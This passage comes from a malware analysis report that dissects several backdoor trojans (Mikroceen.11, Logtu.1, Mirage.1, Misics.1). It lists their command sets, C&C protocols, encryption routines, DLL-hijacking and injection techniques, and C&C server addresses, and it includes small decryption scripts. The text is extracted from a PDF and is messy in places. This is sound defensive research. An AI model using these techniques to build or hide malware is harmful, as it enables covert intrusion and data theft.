Ends the trojan process

0x4E34Forces the computer to
shutdown

0x4E35Forces log out from the user’s
computer account

0x4E36Forces the computer to reboot

0x4E37

Powers off the computer

0x4E38Forces log out from the user’s
computer account

0x4E39Reboots the computer

0x50140x5015

COMMAND_SHELL_START

Runs the Shell

COMMAND_CMDDLG_OPENED Starts reading the data from theShell

0x50160x50170x50780x5079Sends the data to the Shell

COMMAND_SHELL_EXIT
COMMAND_TUNNEL_START

Closes the Shell
Launches the plug-in creating
the tunnel
Sends the data to the C&C
server that has a connected
tunnel26

27

0x507A

0x507B

Sets the C&C server address towhich the tunnel will be created

COMMAND_TUNNEL_NEW_CO Creates the tunnel to the
NNECTION
specified C&C server

0x507C

0x5082
0x5E30Receives NetBios name of thespecified IP address

COMMAND_TUNNEL_EXIT
COMMAND_FILE_STARTDisables the tunnel
Runs file manager

0x5E31

Directory listing

0x5E32

Reads the file from the specified
offset0x5E33Creates the file

0x5E34

Writes into the file from thespecified offset

0x5E36

Reads the file from the specified
offset0x5E37

Transfers an empty packet with
the 0x98BC code to the C&C
server

0x5E38

Deletes the specified file

0x5E39Recursively deletes the specified
directory or files

0x5E40Obtains the file size

0x5E41Creates the folder

0x5E42

Moves the file

0x5E43

Runs the file with the window

0x5E44

Runs the file without a window

0x5E45

Ignored

0x5E46

Ignored

0x5E47

Receives the data about the file(creation and modification time,

27

28

access information, file size, file
type, the name of the app thatcan be used to open this file)
0x5E49Sets file attributes specified in
the command

0x5E51Disables the file manager

0x5E52

Recursively lists the specified
directory

0x891C

0xEA66TOKEN_CLIENT_LOGIN

PUBLIC_ACTIVE

Client authorization on theserverSet public_active flag

Artifacts
The trojan file contains traces of debugging information that reveals the names of thefollowing source code files:..\\common\\LzmaLib.c
z:\\desk_codes\\project_xpath\\xpath\\ringqueue.hz:\\desk_codes\\project_xpath\\xpath\\untils.h
z:\\desk_codes\\project_xpath\\xpath\\ShellManager.hz:\\desk_codes\\project_xpath\\xpath\\file.hz:\\desk_codes\\project_xpath\\xpath\\tunnel.hz:\\desk_codes\\project_xpath\\xpath\\network.h
z:\\desk_codes\\project_xpath\\xpath\\clientmode.h
xPathMain.c
cyclone_tcp\\core\\bsd_socket.c

The original functions names:
SendClientMagic
FindPluginData
DeCompressData
GetSockInfo nocase
StartShell
UnInitShell
UnInitFileManager
recv_pack2
x_gethostbyname
OutputData
tcpF
WorkThread
alloc_new_six_decompress

The original commands names:

28

29

COMMAND_FILE_START
PUBLIC_ACTIVE
COMMAND_TUNNEL_EXIT
COMMAND_TUNNEL_NEW_CONNECTION
COMMAND_SERVER_READYAGENT_SERVER_ALIVECOMMAND_SERVER_CONNECT
TOKEN_CLIENT_CONNECT
AGENT_SERVER_ALIVECOMMAND_SERVER_ALIVECOMMAND_SERVER_NOTIFY_CLIENT
AGENT_CLIENT_NEW_CONNECT_ACCEPTCOMMAND_SHELL_START
COMMAND_TUNNEL_START
COMMAND_CMDDLG_OPENEDCOMMAND_SHELL_EXIT
COMMAND_TUNNEL_EXIT
TOKEN_CLIENT_LOGIN

Various debugging messages:
get conf,agent:%d,client:%d,interval:%d,listen1:%d,addr1:%s:%d \nos init:%d-%d-%d bGetConfig:%d %d\tver:%10d\nver:%d remote:%d listen:%d\nx_decompress bad in tcpR,socket:%d token:%d len:%d,target len:%d,%d\ndir: %ws,%ws,%ws,%d,%d,%d
file: %ws,%ws,%ws,%d,%d,%dtunnel connect error :%x--%d,%d,%d\ninit get ip:%s,%s,%s,%02x-%02x-%02x-%02x-%02x-%02x,%s\nready accept port of client to agent:%d,local: %x--%d\nstack set ip:%s mask:%s gw:%sbaidu_tx_web%dstack add ip:%s mask:%s gw:%sagent must with driver\ncurrent if:%d\nthe connect thread is ending.....\nthe sub connect thread is ending.....\nlisten thread1 out\nclient unknown token %d\nerrorrrrrrrrrrrrrrrrrr:%d,%d,%d\ntcp reverse decrypt error\n
tcp reverse com flag error\n%04d %02d %02d-%02d:%02d:%02d :update alloc memory false\nupdate depack false,%d,%d,%d\ncreate update driver error\nalloc driver memory error,%d\ndepack driver error\nwrite driver error\nclient type wrong:%d,%d,%dBackDoor.Mikroceen.11
BackDoor.Mikroceen.11 is a backdoor written in C++ and designed for 64-bit versions of theMicrosoft Windows operating systems. Upon installing, it connects to the C&C server directly

29

30

or using the proxy server and begins executing attackers’ commands. It can collectinformation about the infected computer and execute commands, redirecting the output of
the command shell to the control server. In both investigated campaigns, it has been
installed on the domain controller.

Operating routine
The backdoor file represents a dynamic library with the single NwsapServiceMain exportfunction. The sample in question was installed on the system as a service and located in thec:\windows\system32\nwsapagent.dll directory.
During the operation, it maintains an event log, which is stored in the %TEMP%\\WZ9Jan10.TMP file. The messages in this log are obfuscated, and their possible variants
are shown below:· WvSa6a7i —launch of the trojan;· Dfi1r5eJ — direct connection to the C&C server;· PVrVoGx0 — connection to C&C server through previously defined proxy server;· Q29uUHJv — connection error;· 10RDu6mf — proxy server connection error;· 8sQqvdeX:%d — an error receiving the data from the C&C server;· Lw3s1gMZ — proxy server connection error;· IsEArF1k — successful connection;· CcFMGQb8 %s:%d — connection to the proxy server, recorded in the netlogon.cfg;· RWehGde0 %s:%d — connection to the proxy server, received through the WZ9Jan10.TMP

file parsing;· PV2arRyn %s:%d — connection to the proxy server, found through the tcptable;· W560rQz5 — SSL connection establishing.

All the relevant data, such as the C&C server address, is encrypted with a simple addition
operation of the value with each byte of the string. The decrypting fragment is shown below:
for ( i = 0; i < lstrlenA(v4); ++i )v4[i] += 32 - i;

BackDoor.Mikroceen.11 tries to directly connect to the C&C server. If failed, it tries toconnect through the proxy server.
The connection is established when the trojan knows the proxy server address. Otherwise, it
reads the %WINDIR%\\debug\\netlogon.cfg file, which must contain the IP:port line.
If the netlogon.cfg file is missing, or the trojan failed to connect to the address listed in it,
the trojan reads the line from its own log file and parses IP:port from it.

30

31

If there is no connection, the trojan parses information about current connections andsearches the connection with the MIB_TCP_STATE_ESTAB status and the following ports of
the remote host: 80, 8080, 3128, 9080. Among the selected connections, it searches
for the IP address from the following subnets: 10.0.0.0/8, 172.16.0.0/12,
192.168.0.0/16. The suitable address found is used as a proxy server address.
After successfully connecting, the trojan collects information about the infected system andfills the following structure:#pragma pack(push, 1)
struct st_info{_WORD osproducttype;_WORD processorarch;_DWORD osservicepackmajor;_DWORD osvermajor;_DWORD osverminor;_DWORD default_lcid;_DWORD dword30001; // 30001
char id[16]; // "wsx"char ip[16];char hostname[32];};#pragma pack(pop)BackDoor.Mikroceen.11 sends this information to the C&C server and waits for the reply.
When exchanging commands, the text protocol is used, and the names of the commands are
obfuscated. The list of commands is shown in the table below.
The command

An argument

The description

The reply

QHbU0hQo (filemanager command)

Reads the file

First QWORD is the filesize; next goes the filethat was read with the1024 bytes blocks

Ki0Swb7I

Gets information about
logical disks

A structure with theinformation about thedisks, but not larger than1024 bytes.
#pragma pack(push,1)
struct st_drive_info{char cmdid[9]; //"fqbnWkSA"_WORD
disks_count;

31

32

The command

An argument

The description

The reply_DWORD
disk_types[disks_co
unt];}#pragma pack(pop)

J8AoctiB

string — is acommand;

Launches the file
managerstring — is a path tothe file to read;
string — is a path tothe file to write
hwuvE43y (filemanager command)

QWORD — is a filesize;

Writes to the file

QWORD — the file size if
the latter already exists

BYTE[]— is the data to
be written into the fileh71RBG8X

string — is a command

Executes the commandwithin the commandshell; exit — closes thecommand shellgRQ7mIYr

string — is a path tothe file

Runs a file with
CreateProcessA

4FJTUaUX if successful
KbZ5piK8 if failed

eYTS5IwW

AmbZDkEx

string — is a password

Ends the commandshell process

bo7aO8Nb (if commandshell was not launched)The beginning of theexchange

kjoM4yJg (if theargument matches theline encoded into the file("12345")
Mf7VLAnr (in all othercases)

5fdi2TfG

Launches a commandshell, redirecting theoutput to the server

32

33

BackDoor.Logtu.1
A multifunctional backdoor trojan for 32-bit and 64-bit Microsoft Windows operating
systems. It represents an executable library written in C++. It uses vector classes and strings
from the STL library (Standard Template Library). The main function of the trojan is to obtain
unauthorized access to infected computers and perform malicious actions at attackers’commands.

Operating routine
The library contains the following exporting functions:· ServiceMain· mymain

The mymain carries the main functionality of the trojan.
mymain function
When called, this function uses GetTempFileNameW to generate the name of thetemporary file with the .rar prefix and opens it for writing. This file is used as a journal.
Writing to the journal is performed in the following format:[%d-%02d-%02d %02d:%02d:%02d] %d %d\n%s\n\n" => "[YYYY-MM-DD HH:MM:SS] <rec_id><error_code>\n<record>\n\nwhere:· rec_id — is a record type ID;· error_code — error code (in most cases, it has a 0 value); if an error occurs duringexecution, the GetLastError() or WSAGetLastError() value is written;· record — additional data.

Before it is added to the journal, the written data is encoded with the XOR operation, using
the 0x31 byte. The rec_id table of ID values is listed at the end of this description.
Next, the trojan collects the following information about the infected system:
struct sysinfo{
DWORD dword_0;
DWORD is_VMWare;
WCHAR str_test[8]; //возможно ID
DWORD dword_1;
BYTE user_name[64];

33

34

BYTE gap_0[64];
WCHAR host_IP[20];DWORD osver_Major;
DWORD osver_Minor;
DWORD uiANSI_CP;
DWORD uiOEM_CP;
WCHAR host_name[15];BYTE gap_1[98];
BYTE user_SID[128]; //string SID
DWORD osver_ProductType;BYTE is_Wow64process;
BYTE mac_address[12];BYTE gap_2[3];DWORD number_of_processors;
DWORD total_phys_mem_MBytes;};

It then checks that the library runs inside the VMWare virtual machine environment. If it
detects a virtual machine, the corresponding information is added to the collected systemdata, while the trojan continues to run.

There is a list of several C&C server addresses encoded inside the source code of the
BackDoor.Logtu.1. They are encrypted with the XOR, using the 0x11 byte. However, only the
first address from that list is used to control the backdoor:· 104.194.215[.]199;· 192.168.1[.]115;· www[.]test[.]com.

Moreover, the trojan stores an array of ports within which each element corresponds to oneof the servers above: 443, 443, 80.
BackDoor.Logtu.1 has an option to use a proxy server, but the analyzed sample lacks such anaddress. If the proxy server address is present, it is also encoded byte by byte with the XOR
operation, using the 0x11 byte.
After the initial preparation, the trojan launches the cycle of connections to the C&C server
through the TCP socket. Within the first connection, BackDoor.Logtu.1 tries to directly
connect to the server. If it fails, it uses an HTTP proxy server if its address is encoded into thebody of the trojan. If it wasn’t successful, the trojan extracts the proxy server parameters

34

35

from the [HKCU\Software\Microsoft\Windows\CurrentVersion\Internet
Settings\ProxyServer] registry key and tries to establish the connection. In case ofanother failure, the backdoor tries to obtain the proxy server information through the
WinHTTP API, sending the google[.]com request via the WinHttpGetProxyForUrl
function. If this attempt has also failed, BackDoor.Logtu.1 tries to extract the corresponding
settings from the HKU\<session_user_SID>\...\ProxyServer registry key. This cycle
repeats until the trojan is successfully connected to the server.
After successfully connecting, BackDoor.Logtu.1 sends the information about the infected
system to the server. The data transfer and response receipt is divided into two stages:
1. Sending the packet with the length of the payload,
2. Sending the payload itself.
The value of the packet with the length of 4 bytes equals <payload_len>+4. This isbecause the packet with the payload contains a 4 bytes prefix, which in turn, contains thepayload ID. Consequently, the payload has the format as shown below:
struct payload{
DWORD payload_id;
BYTE payload[payload_len];}

The data transferred from the trojan to the server, as well as its response, are encrypted with
the RC4 algorithm. The encryption key is stored inside the trojan body as a separate string,but calculates using the following algorithm:
from hashlib import md5
password = "123456"
salt = md5("").hexdigest()
key = md5(password + salt).hexdigest()

The ID of the packet with the system information has a value of 0.

35

36

After the system information is sent and the trojan receives the response from the server, it
launches a thread that sends heartbeats every minute. Their ID has a value of 1 and the
payload length has a value of 0. After 10 packets are sent, the server connection closes andreestablishes again.
The backdoor waits for the server reply with the packet with the length value that should notexceed 0x1F40. Next, it waits for the packet itself, which contains the command as a
payload. After this packet is decrypted, it checks the value of the first DWORD, which is thecommand ID. The ID value should not exceed 0x34.
In some cases, the command contains additional parameters presented in the form of thestrings split with the | symbol. The structure of this command has the form of the"param_0"|"param_1"|...|"param_n".
The list of commands that the trojan can receive and execute is shown in the table below.
CommandID

Command description

0x00

NOP

0x01

Calls GetTickCount(), writes the result into the global variable.

0x02

In this command, two parameters separated with the | symbol, are received. The firstone is the path to the file. The trojan uses it to form two new paths:· <param_0>.tu· <param_0>.tut

36

37

Next, the trojan checks if the file with the original name, specified in the command,
exists. If it exists, the trojan sends the response <param_1>|01 to the server. If it does
not exist, it checks if the <param_0>.tu is present. If this file exists, the trojan sends its
size as a <param_1>|<size>.
If the <param_0>.tu file does not exist, the trojan creates the file <param_0>tut,
writes the string, which consists of 32 zeros, into it and deletes the file.
Depending on the command execution results, the trojan can send various types of
responses to the server. In cases of failure at any given step of the command execution,
the trojan sends <param_1>|<code>, where <code> can have a value from 01 to 05.
0x03

Creates an application process with the <param_0> name and <param_1> commandline parameters.

0x04

Runs a separate thread that lists the processes and sends the information about themto the C&C server one by one. Before the listing, the packet with the 0x17 ID and a
DWORD 0x47 payload is sent to the server. It is sent as follows:
struct process_info{
WCHAR proc_name[30];DWORD PID;
DWORD parent_PID;
WCHAR self_module_path[260]}

Herewith, self_module_path is only sent when the process is running in the WOW64
environment. Otherwise, this string is filled with 0 values.
0x05

Launches the cmd.exe thread. It creates the cmd.exe process with the input-output
redirection into the pipes. After the process is created, it sends a packet with the 0x17
ID and a 0x3D payload in case of a successful connection, or 0x3E in case of a failure.
Herewith, the trojan receives the input parameters of the command line from themessage using the GetMessage function. The results are sent with the 0x06 ID.

0x06

Input of the parameters for the cmd.exe. Using PostThreadMessage, it sends themessage 0x464 to the cmd.exe thread and puts the data from the command intolParam.

0x08

Ends the connection, sending a packet with the 0x17 packet ID and a DWORD 0x3E
payload prior, then deletes its service and executable file.

0x09

Opens the file for writing from the end and writes the buffer received in the command
into it. Command’s parameters:· param_0 — name of the file;· param_1 — unknown value;· param_2 — buffer size;

37

38

· param_3 — special flag; if it equals 1, then the file must be moved;· param_4 — a buffer for a writing.

It adds a .tu extension to param_0, opens (or creates) the resulting file for writing,places the pointer to the end of the file and writes a param_4 buffer.
If param_3 equals 1, then it deletes the param_0 file and renames the file<param_0>.tu into param_0.
0x14

Gets the size of the file specified in the command.

0x15

Reads the 0x1000 bytes from the param_0 file, starting with param_2, and sends theresults with the 0x15 ID to the server.

0x16

Deletes the specified file. If successful, it sends a packet with the 0x17 ID and a DWORD
0x1F payload to the server; in case of an error, a packet with the 0x20 ID is sent
instead.

0x17

If the first DWORD of the command’s body equals 1, the trojan goes to sleep for 1
second; if it equals 2, the trojan closes the file handle.

0x18

Ends the process with PID specified in the command. In return, the C&C server sends
the packet with the 0x17 ID. If successful, DWORD 0x0B is sent along with this ID. If
failed, 0x0C will be sent.

0x19

Gets information about disks. Upon receiving this command, the trojan checks all thedisks available from the letter A to the Z and sends information about each of them to
the C&C server.
The disk information is sent as a the following structure:
struct disk_info{
DWORD root_path;
DWORD dword_0;
DWORD type;
DWORD dword_1;
DWORD cdrom_or_removable;}

Herewith, if the disk found has a DRIVE_REMOVABLE type or a DRIVE_CDROM
type, the trojan indicates the value 1 in the cdrom_or_removable parameter.
Prior to listing the disks, the trojan sends the disk_info structure with thedword_1 value, which equals 1, as well as other parameters, which are equal to 0.
0x20

Gets the file list in the specified folder. The list is formed as lines of the<file_name>;<file_size>;<last_write_time(YYYY-MM-DD
hh:mm:ss)>;<is_dir> format, which are separated by the | symbol.
If the object represents the directory, the <is_dir> value is indicated as 1; if theobject represents a file, the 0 value is indicated.

38

39

0x22

Creates the TCP tunnel. This command has the host parameters to connect to. The
parameters come as the following structure:
struct tunnel_host{
WORD index;
char hostname[66];
DWORD port;}

Where index is the tunnel index.
After connecting to the host, the trojan receives a block with the size of 0x400 bytes
and sends it to the C&C server as the following structure:
struct tunnel_data{
WORD index;
char buffer[];}

After the last block is sent, the trojan sends the index with the 0x24 ID.
0x23

Sends the data to the tunnel. The C&C server sends the structure tunnel_data, andthe trojan sends the data into the tunnel with the tunnel_data.index index.

0x24This command contains tunnel index that needs to be closed.

0x25This command contains the structure tunnel_host. The trojan creates a TCP socket,
binds the port to tunnel_host.port, and awaits for the incoming connection.
Upon receiving the incoming connection, the trojan sends a zero-length packet without
a payload and 0x25 to the C&C server. After that, it receives the data from the newconnection, along with the 0x26 ID and sends them to the C&C server.

0x26

The command contains a tunnel_data structure. Upon receiving this command, thetrojan sends the data to the connection it received in the 0x25 command.

0x28

Ends the thread sending the heartbeats.

0x29

Moves the file from param_0 to the param_1.

0x31

Creates a desktop screenshot.

0x33

Gets the list of running services as strings<service_name>;<service_display_name>;<current_state>, separated
with the | symbol.

0x34

Services management command.
If param_0 has a 0 value, the trojan stops the param_1 service.

39

40

If param_0 has a 1 value, the trojan launches the param_1 service.

Upon receiving the command with the 0x17 ID, the trojan closes the file handler, which isstored in the global variable. This file is used only twice: once upon receiving the command,
specified earlier, and once in the journal writing function.
File handler closing:Writing to the journal (logging):

Table of the identifiers of the log entries types
rec_id identifier

Error code

Log entry type

Description

0x01

0

No entry

Written at the beginningof the execution

0x0E

0

The name of the C&C
server0x0F

WSAGetLastError()No entry

0x07

0Proxy server name

Added upon C&C
server connection error

40

41

0x08

0

No entry

Added before
connecting to the proxy
server

0x09

GetLastError()No entry

Added upon proxy
server connection
failure0x0A

0

CONNECT<proxy_addr>:<proxy_port>HTTP-proxy connection
string

HTTP/1.1\r\nProxy-Authorization:
Basic<proxy_auth>\r\n\r\nor
CONNECT<proxy_addr>:<proxy_port>
HTTP/1.1\r\n\r\n,
if proxy server
authorization
parameters are missing
0x0B

GetLastError()No entry

Added if there is a
proxy server connection
error

0x0C

GetLastError()No entry

Added upon receiving
an empty reply from a
proxy server

0x0D

0

Proxy server response

Added uponsuccessfully connecting
to the proxy server

0x05

GetLastError()No entry

Added when a
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settingsregistry key opening
failed0x06

0

A not find proxyaddress string whichis encoded inside thebody of the trojan.

Added if
ProxyServer registryparameter value
receiving failed

41

42

0x03

0

No entry

Added when a system
information packet issent through the proxy
server, whose address
is encoded inside thetrojan body

0x04

0

No entry

Added when system
information is sent
through the proxy
server:1

No entry
from the registry
section HKCU;

2

No entryreceived using WinHTTP
API;
from theHKU\<session_user_SID> registry section

0x02

0

No entry

Added when system
information is sent
directly to the server

0x10

0

No entry

Added after system
information is sent tothe server and before athread with heartbeatsis launched

Trojan.Mirage.1
Trojan.Mirage.1 is a multi-component backdoor trojan designed for Windows 32-bit
operating systems. It is used for unauthorized control of infected computers and accessing
information stored on them. The infection is implemented through a loader injection into
the valid running system process. The payload unpacking and arbitrary code execution isdone on the infected computer’s RAM.

Operating routine
Trojan.Mirage.1 has the following file suite:· WmiPrvServer.exe — file with a valid HP digital signature:
CN=Hewlett-Packard Company
OU=Hewlett-Packard Company

42

43

OU=Digital ID Class 3 - Microsoft Software Validation v2
O=Hewlett-Packard Company
L=Palo Alto
S=California
C=US· rapi.dll — the loader. It loads on the WmiPrvServer.exe process using the DLL

Hijacking method,· cmdl32.dat — the encrypted shell code with the payload,· config.dat — the encrypted configuration.

Rapi.dll loader module
The loader module is injected into the WmiPrvServer.exe process using the DLL Hijacking.
The program receives the GetProcAddress function address through the PEB (Process
Environment Block) structure by comparing the strings. After that it receives the addresses of
the necessary imported functions:· LoadLibraryA· GetModuleFileNameA· VirtualAlloc· CloseHandle· CreateFileA· GetFileSize· ReadFile

Next, the cmdl32.dat file, located in the same directory from where the parent process of thetrojan was launched, is read. The loader decrypts the file using the XOR operation with the
0x88 byte and jumps to the decrypted buffer using the JMP instruction.

43

44

The encrypted shellcode cmdl32.dat
At the start, the shellcode calculates the size of the payload. The beginning of the payload isfound through the call of the last shellcode function, and its end is determined by the
0xDDCCBBAA signature.

44

45

Next, the program receives the list of necessary imported functions. Through the PEB
structure, the trojan locates the GetProcAddress function, which it instantly uses to get the
LoadLibraryA function address. The search for the rest of the imports is done throughthese two functions.
strcmpmemcpyVirtualAlloc
VirtualProtect
WriteFilelstrcatA
GetModuleHandleA
IsDebuggerPresent
Next, Trojan.Mirage.1 decrypts the payload using the XOR operation with the 0xCC byte,loads the resulting MZPE file onto the memory and calls the mystart exported function.

45

46

The payload
The payload module represents a dynamic library with the exported functions:· OnWork· RunUninstallA· Uninstall· mystart

Below, we will dissect two major functions responsible for the trojan operation: mystartand OnWork.
mystart function
At the beginning, the %TEMP%\\installstat.tmp file is checked to be present. If it exists,
Trojan.Mirage.1 reads a proxy server address from it and then deletes this file.
The c:\\programdata\\Tmp\\cmd32\\cmd32 path is used as a home directory,herewith the creation, modification and access date for the c:\\programdata\\Tmp\\cmd32\\cmd32 and c:\\programdata\\Tmp\\ folders are copied from the %WINDIR%\\System32\\winver.exe file.
The Global\\dawdwere4de2wrw mutex is used to ensure that only one instance of themalware is running.
At this stage, the program checks for the presence of the avp.exe and avpui.exe
processes. If even one of them is found, then throughout its further operation the trojan will
additionally verify the presence of the object with the Global\\v2kjgtts1 event name. If
it locates it, the trojan will halt its further operation.
Trojan.Mirage.1 can operate in 3 modes. While operating as a service, it checks if the event
object with the Global\\v2kjgtts1 name exists. If the event object is missing, it copies
its files from the current directory onto c:\\programdata\\Tmp\\cmd32\\cmd32 andinjects either into the iexplore.exe process (for the Windows systems, starting from
Windows Vista and higher) or into the explorer.exe process (for the Windows systems
below Windows Vista).
While operating in the context of the explorer.exe or iexplore.exe processes, itdeletes its files from the %TEMP% directory, checks if the Global\\dawdwere4de2wrw
mutex is present and creates it if missing. If the trojan is launched with elevated privileges, itcreates the Windows Event Update service; otherwise, it configures its autorun through the[HKCU\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows]'Load' registry key and proceeds to execute its main functions.

46

47

For the rest of the cases, Trojan.Mirage.1 checks for the Global\\dawdwere4de2wrw
mutex. If it is missing, the malware injects either into the iexplore.exe process (for the
Windows systems, starting from Windows Vista and higher) or into the explorer.exe
process (for the Windows systems below Windows Vista).
OnWork Function
After receiving the imported functions, the application proceeds to execute its mainfunctions, skipping installation onto the system routine.
It reads the c:\\programdata\\Tmp\\cmd32\\cmd32\\config.dat file and decrypts
it using the following algorithm.

The configuration has the following structure:
struct st_config{
char cnc_addr[32];char cnc_port[16];char interval[16];char timeout[16];char unk3[16];_DWORD unk4;
char trojan_name[16];_DWORD unk5;
wchar_t campaign[32];};Next, Trojan.Mirage.1 collects various information about the infected computer and forms
the following structure:
struct st_info{
wchar_t version[32];wchar_t pc_name_user[64];wchar_t bot_ip[64];wchar_t macaddr[64];

47

48

_DWORD osver;_DWORD cpufreq;_DWORD cpunumber;_DWORD physmem;_DWORD is_wow64_process;};

The %s-v1.0-%s line is stored in the version field; with that, the v1.0 value is hardcodedin the analyzed sample, while the two other lines, trojan_name and campaign, are takenfrom the settings.
Next, an attempt to connect to the C&C server is made. To do so, the trojan checks for theproxy server settings in the [HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings] 'ProxyEnable' and [HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings]'ProxyServer' registry entries. If settings are found, the trojan uses the corresponding
proxy server in its further requests.
Trojan.Mirage.1 connects to the C&C server listed in its configuration and sends thefollowing packet:
struct st_hello{_DWORD dword0; // 'f'_DWORD dword4; // random value_DWORD dword8; // random value_DWORD dwordC; // random value
wchar_t text[256]; // "Neo,welcome to the desert of real."};

In response, it receives the following commands to execute:· 0 — send information about the infected computer;· 1 — run the plug-in designed to work with the file system;· 2 — run the plug-in designed to work with the command shell;· 5 — run the plug-in to work with the processes;· 6 — run the plug-in to work with the command shell on behalf of another user;· 7 — run the keylogger plug-in;· 51 — send information about the infected computer;· 52 — download an update for the trojan;· 53 — disconnect from the server;· 54 — disconnect from the server;· 200 — send the information about storage devices installed in the system;· 201 — send the directory listing;· 202 — delete a file;· 203 — move a file;48

49· 204 — upload a file to the server;· 205 — download a file from the server;· 206 — create a directory;· 207 — run a command with the cmd.exe;· 300 — send a list of the processes in the infected system to the server;· 301 — kill a process with a specific identifier;· 400 — upload an event log of the keylogger to the server.

C&C server connection protocol
The HTTP protocol is used to connect the malware with the C&C server. The requests havethe following format:
POST http://<cnc_addr>:<cnc_port>/result?hl=en&id=<id> HTTP/1.1\r\nAccept: */*\r\nAccept-Language: en-us\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)\r\nProxy-Connection: Keep-Alive\r\nContent-Length: %d\r\nContent-Type: application/x-www-form-urlencoded\r\n
Encoding: gzip, deflate\r\nHost: %s:%d\r\n\r\nWhere <cnc_addr> is the C&C server address; <cnc_port> is the port of the C&C server;<id> is a random string of lower-case letters of the Latin alphabet. The unique <id> isgenerated for each request.
The data for the POST-request and the response is encrypted with the following algorithm:for ( i = 0; i < data_size; ++i )request[req_header_len + i] = (i ^ 0x7C) + data[i];The first DWORD in the server response is the identifier of the command, which should beexecuted by the bot. The rest of the buffer can contain the additional parameters for thiscommand.
The plug-in designed to work with the command shell
For the input/output redirection from the cmd.exe process, the following three files are used:· %TEMP%\\cache\\sysin_%d.log· %TEMP%\\cache\\sysout_%d.log· %TEMP%\\cache\\systemp_%d.log

Where %d is a random number, which is the same for all three files; it is generated at thetime of the plug-in launch. If the plug-in has been launched with command 6, the command

49

50

buffer should contain the domain and user login and password, from under which thecommand shell is being launched.
After that, the trojan launches the command shell with the input/output redirection onto thefiles, mentioned earlier. The contents of the sysout_%d.log file will be sent to the C&C
server, and the response will be stored in the sysin_%d.log file.

Trojan.Misics.1
A multi-functional trojan backdoor for 64-bit Microsoft Windows operating systems. Its main
components are the loader and the payload that functions in the computer's RAM. Codeobfuscation and two-step payload encryption are used to hide traces of malware presencein the system. The backdoor is designed for establishing an encrypted connection with the
C&C server and for unauthorized control over an infected computer.

Operating routine
The loader is a dynamic library with Rundll32Entry and ServiceEntry exported
functions. During the infection process, it is installed in directory C:\ProgramData\MISICS\MISICS.dll.
It can be launched as a service using svchost.exe or execute its own code using rundll32.exe.
During initialization, it checks which way the process was launched. The trojan restarts using
rundll32.exe with the -auto key, in case it was launched differently.
For obfuscation purposes, a large amount of garbage code is used, making it difficult to
detect the original instructions. The search for all utilized APIs is performed via the PEB(Process Environment Block) in the kernel32.dll and user32.dll libraries by name, which resultsin the API address being entered in the function table.
Next, the program loads the <loader name>.crt file into memory, which is an encrypted
payload. The first 4 bytes of the file are used to generate the decryption key, and the rest isdecrypted. The key is a checksum of the first 4 bytes calculated using the CRC32 algorithm.
The initial CRC value is set in the code 0xAC1FD22B. To decrypt each byte of data, the CRC
result from the DWORD is calculated, which contains the sequential number of thedecrypted byte. The CRC value from the previous step is the initial CRC value for the next
calculation.
Decryption algorithm
import struct

def crc32table():

50

51

s = dict()
for i in range(0x100):x = i
for j in range(8):if x & 1:
x = ((x >> 1) ^ 0xEDB88320) & 0xffffffffelse:
x = (x >> 1) & 0xffffffff
s[i] = x
return stable = crc32table()def crc32(crc, data):
for i in range(len(data)):
crc = ((crc >> 8) ^ table[(crc ^ ord(data[i])) & 0xff]) & 0xffffffff
return crc

def decrypt(data):s = ''
key = crc32(0xAC1FD22B, data[:4])j = 0
for i in range(4, len(data)):key = crc32(key, struct.pack('<I', j))s += chr((ord(data[i]) - key) & 0xff)
j += 1
return s

if __name__ == '__main__':with open('MISICS.dll.crt', 'rb') as f:data = f.read()with open('payload', 'wb') as f:f.write(decrypt(data))

After decryption, the trojan checks the value of the first DWORD of the decrypted data. If it
is not equal to 0x13AB7064, the decryption is considered incomplete.
The 0x318 byte configuration is located at the beginning of the decrypted data, and the
payload is located right after it.
#pragma pack(push,1)
struct cfg{_DWORD sig; // 0x13AB7064

51

52

_DWORD isPE;_BYTE payload_entry_func_name[260];_BYTE payload_entry_func_arg[260];_BYTE payload_exit_func_name[260];_DWORD bCreateDllExitEvent;};#pragma pack(pop)The field of the isPE structure can take the following values:· 0 — the payload is a shellcode,· 1 — the payload is MZPE file (.exe),· 2 — the payload is MZPE file (.dll).

If bCreateDllExitEvent is equal to 1, the trojan creates an event signaling the successful
completion at the end of operation. The trojan also calls the payload_exit_func_namefunction of the payload. In the studied sample, the payload is a shellcode.
Debugging strings generated on the stack:· Get Payload File Name.\n· ServerLoadPayload()\n· Get Module File Name.\n· Read Payload File.\n· Switch to payload directory.\n· Verify Payload Data.\n· Decrypt Payload Data.\n· Load PE.\n· Create DllExit Event.\n· Get DllExit Export Function.\n

Example of creating a rundll32.exe:

Obfuscation is a frequent inclusion of the one-type code that does not affect theperformance of the main functions. There is also a lot of meaningless calls added:

52

53

GetVersion(), SetLastError(), GetLastError(), GetSystemTime(),
SystemTimeToFileTime(), OutputDebugString(), and GetTickCount().
Some OutputDebugString calls provide useful debugging information.
Another distinctive feature is the large number of allocations of small memory blocks using
the new function with simultaneously release.

PayloadThe main body of the shellcode and its configuration are encrypted using a simple
algorithm based on the XOR operation. Decryption is performed by the part of the shellcodethat was previously decrypted by the loader. Decryption algorithm:
import idaapi
k = 0x0c
for i in range(0xbce57):
k = (k + i) & 0xff
idaapi.patch_byte(0x25 + i, idaapi.get_byte(0x25 + i) ^ k)

After decryption the shellcode receives control. Similar to the loader, the shellcode searches
for all the necessary APIs via the PEB and enters their addresses in the function table. The
following algorithm is used to hash the name of the exported function:
ror = lambda val, r_bits, max_bits: \((val & (2**max_bits-1)) >> r_bits%max_bits) | \(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
a = 'GetProcAddress\x00'
c = ord(a[0])for i in range(1,len(a)):
c = (ord(a[i]) + ror(c, 13, 32)) & 0xffffffff

53

54

During the process of searching for the necessary functions, the trojan unpacks thessleay32.dll and libeay32.dll filles from its body, which are located at the 0xF2 offset inshellcode and are compressed using the zlib library, then manually loads them. After that,the trojan parses the configuration embedded in its body:Bing@Google@Yahoo|tv.teldcomtv.com:53;tv.teldcomtv.com:53;|
1;1;1;1;1;1;1;|00-24;|5;
where|1;1;1;1;1;1;1;|00-24;| defines the schedule of communication sessions with
C&C server.
The configuration can contain up to 6 addresses of the C&C servers. Each address consists ofan address and port separated by a colon.
